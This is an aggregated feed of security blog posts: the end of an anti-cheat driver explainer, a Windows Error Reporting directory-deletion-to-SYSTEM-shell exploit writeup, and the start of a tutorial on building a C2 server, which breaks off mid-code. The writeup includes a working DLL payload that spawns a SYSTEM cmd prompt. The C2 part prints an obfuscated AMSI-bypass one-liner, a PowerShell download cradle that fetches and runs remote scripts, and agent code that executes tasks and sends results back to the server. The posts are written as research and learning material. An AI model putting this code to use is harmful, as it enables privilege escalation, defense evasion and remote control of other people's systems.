As a bonus, the driver that HWMonitor uses is also the driver the CPUZ uses! If an anti-cheat were to simply block HWMonitor - the application - from running the attacker could simply pull up CPUZ and have the same capabilities. This is an issue because, as mentioned earlier, model-specific registers are meant to be read/written to by system software. Exposing these registers to the user through any sort of unchecked interface gives an attacker the ability to modify system data they should otherwise not have access to. It allows attackers to circumvent protections that may be put in place by a third-party such as an anti-cheat. An anti-cheat can register callbacks such as the ExCbSeImageVerificationDriverInfo which allows the driver to get information about a loaded driver. Utilizing a trusted driver lets the attackers go undetected. Many personally signed drivers are logged/flagged/dumped by some anti-cheats and certain ones that are WHQL or from a vendor like Intel are inherently trusted. This callback is also one method anti-cheats use to prevent drivers, like the packaged driver for CPUZ, from loading; or just noting that they are present even if the name of the driver is modified.

MSI Afterburner

At this point, it’s probably clear why many of these drivers are blocked from loading by anti-cheat software. I’ll let this exploit-db page speak for MSI Afterburner. It’s just as bad as the aforementioned drivers and to preserve the integrity of the system and game it’s reasonable for anti-cheats to prevent it from loading.

These vulnerabilities have since been patched, this is merely an example of the type of behavior in many tools. While MSI responded appropriately and updated Afterburner, not all OC/monitoring tools have been updated.

Conclusion

It should make sense now, regardless of how unfortunate, why some anti-cheats prevent the loading of these types of drivers. I’ve seen various arguments against this tactic, but in the end, the anti-cheats job is to protect the integrity of the game and maximize the quality of gameplay. If that means you can’t run your hardware monitoring tool then you’re just going to have to shut it off to play. Cheaters in games have been using these drivers since late 2015/2016, and maybe even before that (however, the first PoC wasn’t public on a large cheating forum before then). Blocking them is necessary to ensure that the anti-cheat is not being tampered with through a trusted third-party driver and that the game is protected from hackers using this method of attack. It’s understandable that being unable to use monitoring tools is frustrating, but rather than blame the anti-cheat blame the vendors of these types of software that are recycling dangerous code and putting your system at risk regardless of the game you play. If I were an attacker, I would definitely consider using one of these many drivers to compromise a system.

A solution for some of the companies would be to simply remove the unnecessary code like mapping physical memory, writing to model-specific registers, writing to control registers, and so on. Maintaining the read-only of thermal sensors and other component related data would be much less of an issue.

This is by no means an extensive article, just a brief information piece to help players/users understand why their hardware monitoring/overclocking tools are blocked by an anti-cheat.

From directory deletion to SYSTEM shell

By: Jonas L
23 April 2020 at 23:00

Vulnerabilities that enable an unprivileged profile to make a service (that is running in the SYSTEM security context) delete an arbitrary directory/file are not a rare occurrence. These vulnerabilities are mostly ignored by security researchers on the hunt as there is no established path to escalation of privilege using such a primitive technique. By chance I have found such a path using an unlikely quirk in the Windows Error Reporting Service. The technical details are neither brilliant nor novel, though a writeup has been requested by several Twitter users.

Windows Error Reporting Service (WER) is responsible for collecting telemetry data when an application crashes. Over time, many vulnerabilities have been discovered in WER and if you want to find a rare specimen, it is the first place to look for it. The service is split into a usermode component and service component that communicates via COM over ALPC. Error reports are created, queued, and delivered using the file system as temporary storage.

The files are stored in subfolders at C:\ProgramData\Microsoft\Windows\WER.

  • Temp is used to store collected crash data from various sources, before they’re merged into a single file.
  • ReportQueue is used when a report is ready for delivery to Microsoft’s servers. If delivery is not possible due to throttling or missing internet connection, delivery will be attempted later and delivered when conditions allow it.
  • ReportArchive is a historic archive of delivered reports.

The NTFS permissions for the folders are chosen to allow any crashing application to deliver its data to Microsoft. Crash-specific files and folders created in subfolders may have more restrictive permissions depending on the security context of the crashed application.

The default permissions for the root folder are:

C:\ProgramData\Microsoft\Windows\WER NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                     BUILTIN\Administrators:(I)(OI)(CI)(F)
                                     BUILTIN\Users:(I)(OI)(CI)(RX)
                                     Everyone:(I)(OI)(CI)(RX)

And the subfolders:

C:\ProgramData\Microsoft\Windows\WER\ReportArchive BUILTIN\Administrators:(F)
                                                   BUILTIN\Administrators:(OI)(CI)(IO)(F)
                                                   NT AUTHORITY\SYSTEM:(F)
                                                   NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                                                   NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
                                                   NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
                                                   NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
                                                   NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
                                                   NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
                                                   APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
                                                   APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)

C:\ProgramData\Microsoft\Windows\WER\ReportQueue BUILTIN\Administrators:(F)
                                                 BUILTIN\Administrators:(OI)(CI)(IO)(F)
                                                 NT AUTHORITY\SYSTEM:(F)
                                                 NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                                                 NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
                                                 NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
                                                 NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
                                                 NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
                                                 NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
                                                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
                                                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)

C:\ProgramData\Microsoft\Windows\WER\Temp BUILTIN\Administrators:(OI)(CI)(F)
                                          NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
                                          NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
                                          NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
                                          NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
                                          NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
                                          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)

The root cause enabling an arbitrary privileged directory deletion to be used for escalation of privileges is a surprising logical flow in WER. If the root folder doesn’t exist when needed for report creation it will be created - nothing surprising here. What is surprising however, is that the folder is created with the following permissions:

C:\ProgramData\Microsoft\Windows\WER BUILTIN\Administrators:(OI)(CI)(F)
                                     NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
                                     NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
                                     NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
                                     NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
                                     NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
                                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
                                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)

The new permissions make it possible to make the root folder into a junction folder by an unprivileged profile. This is a scenario the service was not programmed to account for. However, even if we have a vulnerability that deletes the directory in SYSTEM security context, it would not help us much as the directory is not empty. Emptying the directory may immediately appear as impossible when the ReportArchive folder contains files owned by System with restrictive permissions, as it is often the case. But that is actually not a problem at all. What we need is the DELETE permission on the parent folder. The permissions on child files and folders are irrelevant.

A little known NTFS detail is that the rename operation can be used to move files and folders anywhere on the volume. A rename operation requires the DELETE permission on the origin and the FILE_ADD_FILE/FILE_ADD_SUBDIRECTORY permission on the destination folder. By moving all subfolders of C:\ProgramData\Microsoft\Windows\WER into another writeable location, such as C:\Windows\Temp, we bypass any restrictions on files inside the subfolders. Now the arbitrary directory delete vulnerability can be used on C:\ProgramData\Microsoft\Windows\WER with success. If the vulnerability only enables deletion of a file because NtCreateFile is called with FILE_NON_DIRECTORY_FILE, that restriction can be bypassed by making it open the path C:\ProgramData\Microsoft\Windows\WER::$INDEX_ALLOCATION.

When the folder is gone the next step is to make the WER service recreate it. That can be done by triggering the task \Microsoft\Windows\Windows Error Reporting\QueueReporting. The task is triggerable by an unprivileged profile, but executes as SYSTEM. After the task has completed we see the new, more permissive folder, but we also see the subfolders are recreated as well. To use our new FILE_WRITE_ATTRIBUTES permission on the recreated folder for making it into a junction folder, we must first make it empty (or not… but that is subject for another writeup). We repeat the move operations on the subdirectories as previously and now we can create our junction folder.

By having the junction point target the \??\c:\windows\system32\wermgr.exe.local folder, the error reporting service will create the target folder with the same permissive ACL. Every execution of wermgr.exe attempts to open the wermgr.exe.local folder, and if opened it will have the highest priority when locating ‘Side By Side (SxS)’ DLL files. If the .local folder exists, the subfolder amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.778_none_e6c6b761130d4fb8 is then attempted to be opened, and if successful Comctl32.dll is loaded from it. By crafting a payload DLL and planting it in the amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.778_none_e6c6b761130d4fb8 folder with the name comctl32.dll, it will get loaded by the LoadLibrary function in the SYSTEM security context next time the WER service starts.

When a DLL file is loaded with LoadLibrary its DllMain function gets executed by the loading process with argument ul_reason_for_call having value DLL_PROCESS_ATTACH. Continued functionality of the loading process is not a priority in this scenario. We just want to detach from the process and execute code in our own process. By spawning a command prompt we can provide visual indication of successful execution. It also enables usage of the escalated privileges as the command prompt inherits the escalated privileges. Most importantly, it detaches execution from the error reporting service so the command prompt will continue running even if the service terminates!

There is an obstacle for launching the command prompt though. The service is running in session 0. Processes running in session 0 can not create objects on the desktop, only processes in session 1 (by default) can do that.

To launch the command prompt in the current active session we can retreive the active session number using the WTSGetActiveConsoleSessionId() function. Launching the prompt can be done with the following code:


bool spawnShell() 
{
   STARTUPINFO startInfo = { 0x00 };
   startInfo.cb = sizeof(startInfo);
   startInfo.wShowWindow = SW_SHOW;
   startInfo.lpDesktop = const_cast<wchar_t*>( L"WinSta0\\Default" );

   PROCESS_INFORMATION procInfo = { 0x00 };

   HANDLE hToken = {};
   DWORD  sessionId = WTSGetActiveConsoleSessionId();

   OpenProcessToken( GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken );
   DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, &hToken );

   SetTokenInformation(hToken, TokenSessionId, &sessionId, sizeof(sessionId));

   if (  CreateProcessAsUser( hToken,
            expandPath(L"%WINDIR%\\system32\\cmd.exe").c_str(),
            const_cast<wchar_t*>( L"" ),
            nullptr,
            nullptr,
            FALSE,
            NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,
            nullptr,
            nullptr,
            &startInfo,
            &procInfo
         ) 
      )  {
            CloseHandle(procInfo.hProcess);
            CloseHandle(procInfo.hThread);
         }

   return true;
}

The function opens the token of the current process (the service) and duplicates as a primary token (It already is, but we have to choose). The duplicated tokens session ID is then changed to the ID returned by WTSGetActiveConsoleSessionId(). By using the altered token to launch the command prompt, we get the security context of the service and execution in our session.

In my default payload, there are some extra things I like to do. Things that helps when the dll executes under more restrictive permissions. If the service is running as Local Service profile we do not have permission to change to the users session. Therefore I use the function WTSSendMessage() to create a dialog box on the active sessions desktop. That function works even when all other possibilities for creating anything on the desktop is impossible. The displayed data is also logged in the event viewer. I like to display the name of the profile we are executing as, the filename the dll is loaded as, and the the filename of the loading process. Sometimes a shell pops up because I planted a dll months before and by chance certain conditions are created where the dll gets loaded. In such cases that information is invalueable because, if the service terminates before I get a look at it, investigating why that shell popped is nearly impossible. I also like to make some beeps. Then even if everything is hidden because the computer is locked, I still get an indication that my payload executes and I can look in the event log.

One way to implement the mentioned functionality is:

#include <filesystem>   
#include <wtsapi32.h>
#include <Lmcons.h>
#include <iostream>
#include <string>
#include <Windows.h>
#include <wtsapi32.h>

#pragma comment(lib, "Wtsapi32.lib")

using namespace std;

wstring expandPath(const wchar_t* input) {
   wchar_t szEnvPath[MAX_PATH];
   ::ExpandEnvironmentStringsW(input, szEnvPath, MAX_PATH);
   return szEnvPath;
}

auto getUsername() {
   wchar_t usernamebuf[UNLEN + 1];
   DWORD size = UNLEN + 1;
   GetUserName((TCHAR*)usernamebuf, &size);
   static auto username = wstring{ usernamebuf };
   return username;
}

auto getProcessFilename() {
   wchar_t process_filenamebuf[MAX_PATH]{ 0x0000 };
   GetModuleFileName(0, process_filenamebuf, MAX_PATH);
   static auto process_filename = wstring{ process_filenamebuf };
   return process_filename;
}

auto getModuleFilename(HMODULE hModule = nullptr) {
   wchar_t module_filenamebuf[MAX_PATH]{ 0x0000 };
   if(hModule != nullptr) GetModuleFileName(hModule, module_filenamebuf, MAX_PATH);
   static auto module_filename = wstring{ module_filenamebuf };
   return module_filename;
}

bool showMessage() {
   Beep( 4000, 400 );
   Beep( 4000, 400 );
   Beep( 4000, 400 );

   auto m = L"This file:\n"s + getModuleFilename() + L"\nwas loaded by:\n"s + getProcessFilename() + L"\nrunning as:\n" + getUsername() ;
   auto message = (wchar_t*)m.c_str();
   DWORD messageAnswer{};
   WTSSendMessage( WTS_CURRENT_SERVER_HANDLE, WTSGetActiveConsoleSessionId(), (wchar_t*)L"",0 ,message ,lstrlenW(message) * 2,0 ,0 ,&messageAnswer ,true );

   return true;
}
static const auto init = spawnShell();
 
BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved )
{
   getModuleFilename(hModule);
   static auto const msgshown = showMessage();
}

Final execution of the exploit with payload should end up looking like this:

An alternative to using the scheduled task for triggering the report submission flow is to submit an error report using the exported C function in wer.dll. If the report is submitted with the WER_SUBMIT_OUTOFPROCESS flag, the service will handle the operations needed for our purposes instead of the usermode component. Source code for submitting an error report can be seen here

Categories

16 April 2020 at 13:57

Categories

Hack The Box

Wizard Labs

Binary Exploitation

Pwn

CTFs

Lists

Misc

home

16 April 2020 at 01:56

Recent Articles


About me

Ahmed Hesham aka 0xRick | Pentester / Red Teamer wannabe.
[email protected]


About the blog

I enjoy hacking stuff as much as I enjoy writing about it. So here you can find write-ups for CTF challenges, articles about certain topics and even quick notes about different things that I want to remember.

Goals:

  • Document what I learn.
  • Share knowledge that might help others.

Scripts repository

Social

Follow @Ahm3d_H3sham
Tweets by Ahm3d_H3sham

Building a Basic C2

15 April 2020 at 23:00

Introduction

It’s very common that after successful exploitation an attacker would put an agent that maintains communication with a c2 server on the compromised system, and the reason for that is very simple, having an agent that provides persistency over large periods and almost all the capabilities an attacker would need to perform lateral movement and other post-exploitation actions is better than having a reverse shell for example. There are a lot of free open source post-exploitation toolsets that provide this kind of capability, like Metasploit, Empire and many others, and even if you only play CTFs it’s most likely that you have used one of those before.

Long story short, I only had a general idea about how these tools work and I wanted to understand the internals of them, so I decided to try and build one on my own. For the last three weeks, I have been searching and coding, and I came up with a very basic implementation of a c2 server and an agent. In this blog post I’m going to explain the approaches I took to build the different pieces of the tool.

Please keep in mind that some of these approaches might not be the best and also the code might be kind of messy, If you have any suggestions for improvements feel free to contact me, I’d like to know what better approaches I could take. I also like to point out that this is not a tool to be used in real engagements, besides only doing basic actions like executing cmd and powershell, I didn’t take in consideration any opsec precautions.

This tool is still a work in progress, I finished the base but I’m still going to add more execution methods and more capabilities to the agent. After adding new features I will keep writing posts similar to this one, so that people with more experience give feedback and suggest improvements, while people with less experience learn.

You can find the tool on github.

Overview

About c2 servers / agents

As far as I know,

A basic c2 server should be able to:

  • Start and stop listeners.
  • Generate payloads.
  • Handle agents and task them to do stuff.

An agent should be able to:

  • Download and execute its tasks.
  • Send results.
  • Persist.

A listener should be able to:

  • Handle multiple agents.
  • Host files.

And all communications should be encrypted.

About the Tool

The server itself is written in python3, I wrote two agents, one in c++ and the other in powershell, listeners are http listeners.

I couldn’t come up with a nice name so I would appreciate suggestions.

Listeners

Basic Info

Listeners are the core functionality of the server because they provide the way of communication between the server and the agents. I decided to use http listeners, and I used flask to create the listener application.

A Listener object is instantiated with a name, a port and an IP address to bind to:

1
2
3
4
5
6
7
8
class Listener:    

def __init__(self, name, port, ipaddress):

self.name = name
self.port = port
self.ipaddress = ipaddress
...

Then it creates the needed directories to store files, and other data like the encryption key and agents’ data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...

self.Path = "data/listeners/{}/".format(self.name)
self.keyPath = "{}key".format(self.Path)
self.filePath = "{}files/".format(self.Path)
self.agentsPath = "{}agents/".format(self.Path)

...

if os.path.exists(self.Path) == False:
os.mkdir(self.Path)

if os.path.exists(self.agentsPath) == False:
os.mkdir(self.agentsPath)

if os.path.exists(self.filePath) == False:
os.mkdir(self.filePath)

...

After that it creates a key, saves it and stores it in a variable (more on generateKey() in the encryption part):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...

if os.path.exists(self.keyPath) == False:

key = generateKey()
self.key = key

with open(self.keyPath, "wt") as f:
f.write(key)
else:
with open(self.keyPath, "rt") as f:
self.key = f.read()

...

The Flask Application

The flask application which provides all the functionality of the listener has 5 routes: /reg, /tasks/<name>, /results/<name>, /download/<name>, /sc/<name>.

/reg

/reg is responsible for handling new agents, it only accepts POST requests and it takes two parameters: name and type. name is for the hostname while type is for the agent’s type.

When it receives a new request it creates a random string of 6 uppercase letters as the new agent’s name (that name can be changed later), then it takes the hostname and the agent’s type from the request parameters. It also saves the remote address of the request which is the IP address of the compromised host.

With these information it creates a new Agent object and saves it to the agents database, and finally it responds with the generated random name so that the agent on the other side can know its name.

1
2
3
4
5
6
7
8
9
@self.app.route("/reg", methods=['POST'])
def registerAgent():
name = ''.join(choice(ascii_uppercase) for i in range(6))
remoteip = flask.request.remote_addr
hostname = flask.request.form.get("name")
Type = flask.request.form.get("type")
success("Agent {} checked in.".format(name))
writeToDatabase(agentsDB, Agent(name, self.name, remoteip, hostname, Type, self.key))
return (name, 200)

/tasks/<name>

/tasks/<name> is the endpoint that agents request to download their tasks, <name> is a placeholder for the agent’s name, it only accepts GET requests.

It simply checks if there are new tasks (by checking if the tasks file exists), if there are new tasks it responds with the tasks, otherwise it sends an empty response (204).

1
2
3
4
5
6
7
8
9
10
11
@self.app.route("/tasks/<name>", methods=['GET'])
def serveTasks(name):
if os.path.exists("{}/{}/tasks".format(self.agentsPath, name)):

with open("{}{}/tasks".format(self.agentsPath, name), "r") as f:
task = f.read()
clearAgentTasks(name)

return(task,200)
else:
return ('',204)

/results/<name>

/results/<name> is the endpoint that agents request to send results, <name> is a placeholder for the agent’s name, it only accepts POST requests and it takes one parameter: result for the results.

It takes the results and sends them to a function called displayResults() (more on that function in the agent handler part), then it sends an empty response 204.

1
2
3
4
5
@self.app.route("/results/<name>", methods=['POST'])
def receiveResults(name):
result = flask.request.form.get("result")
displayResults(name, result)
return ('',204)

/download/<name>

/download/<name> is responsible for downloading files, <name> is a placeholder for the file name, it only accepts GET requests.

It reads the requested file from the files path and it sends it.

1
2
3
4
5
6
7
@self.app.route("/download/<name>", methods=['GET'])
def sendFile(name):
f = open("{}{}".format(self.filePath, name), "rt")
data = f.read()

f.close()
return (data, 200)

/sc/<name>

/sc/<name> is just a wrapper around the /download/<name> endpoint for powershell scripts, it responds with a download cradle prepended with a oneliner to bypass AMSI, the oneliner downloads the original script from /download/<name> , <name> is a placeholder for the script name, it only accepts GET requests.

It takes the script name, creates a download cradle in the following format:

1
IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/download/SCRIPT_NAME')

and prepends that with the oneliner and responds with the full line.

1
2
3
4
5
6
@self.app.route("/sc/<name>", methods=['GET'])
def sendScript(name):
amsi = "sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](\"{1}{0}\"-F'F','rE' ) ) ; ( GeT-VariaBle ( \"1Q2U\" +\"zX\" ) -VaL).\"A`ss`Embly\".\"GET`TY`Pe\"(( \"{6}{3}{1}{4}{2}{0}{5}\" -f'Util','A','Amsi','.Management.','utomation.','s','System' )).\"g`etf`iElD\"( ( \"{0}{2}{1}\" -f'amsi','d','InitFaile' ),(\"{2}{4}{0}{1}{3}\" -f 'Stat','i','NonPubli','c','c,' )).\"sE`T`VaLUE\"(${n`ULl},${t`RuE} ); "
oneliner = "{}IEX(New-Object Net.WebClient).DownloadString(\'http://{}:{}/download/{}\')".format(amsi,self.ipaddress,str(self.port),name)

return (oneliner, 200)

Starting and Stopping

I had to start listeners in threads, however flask applications don’t provide a reliable way to stop the application once started, the only way was to kill the process, but killing threads wasn’t also so easy, so what I did was creating a Process object for the function that starts the application, and a thread that starts that process which means that terminating the process would kill the thread and stop the application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...

def run(self):
self.app.logger.disabled = True
self.app.run(port=self.port, host=self.ipaddress)

...

def start(self):

self.server = Process(target=self.run)

cli = sys.modules['flask.cli']
cli.show_server_banner = lambda *x: None

self.daemon = threading.Thread(name = self.name,
target = self.server.start,
args = ())
self.daemon.daemon = True
self.daemon.start()

self.isRunning = True

def stop(self):

self.server.terminate()
self.server = None
self.daemon = None
self.isRunning = False

...

Agents

Basic Info

As mentioned earlier, I wrote two agents, one in powershell and the other in c++. Before going through the code of each one, let me talk about what agents do.

When an agent is executed on a system, first thing it does is get the hostname of that system then send the registration request to the server (/reg as discussed earlier).

After receiving the response which contains its name it starts an infinite loop in which it keeps checking if there are any new tasks, if there are new tasks it executes them and sends the results back to the server.

After each loop it sleeps for a specified amount of time that’s controlled by the server, the default sleep time is 3 seconds.

We can represent that in pseudo code like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
get hostname
send [hostname, type], get name

loop{

check if there are any new tasks

if new_tasks{

execute tasks
send results

}

else{
do nothing
}

sleep n
}

So far, agents can only do two basic things, execute cmd and powershell.

PowerShell Agent

I won’t talk about the crypto functions here, I will leave that for the encryption part.

First 5 lines of the agent are just the basic variables which are the IP address, port, key, name and the time to sleep:

1
2
3
4
5
$ip   = "REPLACE_IP"
$port = "REPLACE_PORT"
$key = "REPLACE_KEY"
$n = 3
$name = ""

As mentioned earlier, It gets the hostname, sends the registration request and receives its name:

1
2
3
4
5
6
7
8
$hname = [System.Net.Dns]::GetHostName()
$type = "p"
$regl = ("http" + ':' + "//$ip" + ':' + "$port/reg")
$data = @{
name = "$hname"
type = "$type"
}
$name = (Invoke-WebRequest -UseBasicParsing -Uri $regl -Body $data -Method 'POST').Content

Based on the received name it creates the variables for the tasks uri and the results uri:

1
2
$resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name")
$taskl = ("http" + ':' + "//$ip" + ':' + "$port/tasks/$name")

Then it starts the infinite loop:

1
2
3
4
for (;;){
...
sleep $n
}

Let’s take a look inside the loop, first thing it does is request new tasks, we know that if there are no new tasks the server will respond with a 204 empty response, so it checks if the response is not null or empty and based on that it decides whether to execute the task execution code block or just sleep again:

1
2
3
$task  = (Invoke-WebRequest -UseBasicParsing -Uri $taskl -Method 'GET').Content

if (-Not [string]::IsNullOrEmpty($task)){

Inside the task execution code block it takes the encrypted response and decrypts it, splits it then saves the first word in a variable called flag:

1
2
3
$task = Decrypt $key $task
$task = $task.split()
$flag = $task[0]

If the flag was VALID it will continue, otherwise it will sleep again. This ensures that the data has been decrypted correctly.

1
if ($flag -eq "VALID"){

After ensuring that the data is valid, it takes the command it’s supposed to execute and the arguments:

1
2
$command = $task[1]
$args = $task[2..$task.Length]

There are 5 valid commands, shell, powershell, rename, sleep and quit.

shell executes cmd commands, powershell executes powershell commands, rename changes the agent’s name, sleep changes the sleep time and quit just exits.

Let’s take a look at each one of them. The shell and powershell commands basically rely on the same function called shell, so let’s look at that first:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function shell($fname, $arg){

$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = $fname
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = $arg
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo

$p.Start() | Out-Null
$p.WaitForExit()

$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()

$res = "VALID $stdout`n$stderr"
$res
}

It starts a new process with the given file name whether it was cmd.exe or powershell.exe and passes the given arguments, then it receives stdout and stderr and returns the result which is the VALID flag appended with stdout and stderr separated by a newline.

Now back to the shell and powershell commands, both of them call shell() with the corresponding file name, receive the output, encrypt it and send it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ($command -eq "shell"){
$f = "cmd.exe"
$arg = "/c "

foreach ($a in $args){ $arg += $a + " " }

$res = shell $f $arg
$res = Encrypt $key $res
$data = @{result = "$res"}

Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'

}
elseif ($command -eq "powershell"){

$f = "powershell.exe"
$arg = "/c "

foreach ($a in $args){ $arg += $a + " " }

$res = shell $f $arg
$res = Encrypt $key $res
$data = @{result = "$res"}

Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'

}

The sleep command updates the n variable then sends an empty result indicating that it completed the task:

1
2
3
4
5
elseif ($command -eq "sleep"){
$n = [int]$args[0]
$data = @{result = ""}
Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'
}

The rename command updates the name variable and updates the tasks and results uris, then it sends an empty result indicating that it completed the task:

1
2
3
4
5
6
7
8
elseif ($command -eq "rename"){
$name = $args[0]
$resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name")
$taskl = ("http" + ':' + "//$ip" + ':' + "$port/tasks/$name")

$data = @{result = ""}
Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'
}

The quit command just exits:

1
2
3
elseif ($command -eq "quit"){
exit
}

C++ Agent

The same logic is applied in the c++ agent so I will skip the unnecessary parts and only talk about the http functions and the shell function.

Sending http requests wasn’t as easy as it was in powershell, I used the winhttp library and with the help of the Microsoft documentation I created two functions, one for sending GET requests and the other for sending POST requests. And they’re almost the same function so I guess I will rewrite them to be one function later.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187

std::string Get(std::string ip, unsigned int port, std::string uri)
{
std::wstring sip = get_utf16(ip, CP_UTF8);
std::wstring suri = get_utf16(uri, CP_UTF8);

std::string response;

LPSTR pszOutBuffer;

DWORD dwSize = 0;
DWORD dwDownloaded = 0;
BOOL bResults = FALSE;

HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;

hSession = WinHttpOpen(L"test",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);

if (hSession) {

hConnect = WinHttpConnect(hSession,
sip.c_str(),
port,
0);
}

if (hConnect) {

hRequest = WinHttpOpenRequest(hConnect,
L"GET", suri.c_str(),
NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
0);
}

if (hRequest) {

bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0,
WINHTTP_NO_REQUEST_DATA,
0,
0,
0);
}

if (bResults) {

bResults = WinHttpReceiveResponse(hRequest, NULL);
}

if (bResults)
{
do
{
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){}

pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
dwSize = 0;
}
else
{
ZeroMemory(pszOutBuffer, dwSize + 1);

if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {}
else {

response = response + std::string(pszOutBuffer);
delete[] pszOutBuffer;
}
}
} while (dwSize > 0);
}

if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);

return response;
}

std::string Post(std::string ip, unsigned int port, std::string uri, std::string dat)
{
LPSTR data = const_cast<char*>(dat.c_str());;
DWORD data_len = strlen(data);

LPCWSTR additionalHeaders = L"Content-Type: application/x-www-form-urlencoded\r\n";
DWORD headersLength = -1;

std::wstring sip = get_utf16(ip, CP_UTF8);
std::wstring suri = get_utf16(uri, CP_UTF8);

std::string response;

LPSTR pszOutBuffer;

DWORD dwSize = 0;
DWORD dwDownloaded = 0;
BOOL bResults = FALSE;

HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;

hSession = WinHttpOpen(L"test",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);

if (hSession) {

hConnect = WinHttpConnect(hSession,
sip.c_str(),
port,
0);
}

if (hConnect) {

hRequest = WinHttpOpenRequest(hConnect,
L"POST", suri.c_str(),
NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
0);
}

if (hRequest) {

bResults = WinHttpSendRequest(hRequest,
additionalHeaders,
headersLength,
(LPVOID)data,
data_len,
data_len,
0);
}

if (bResults) {

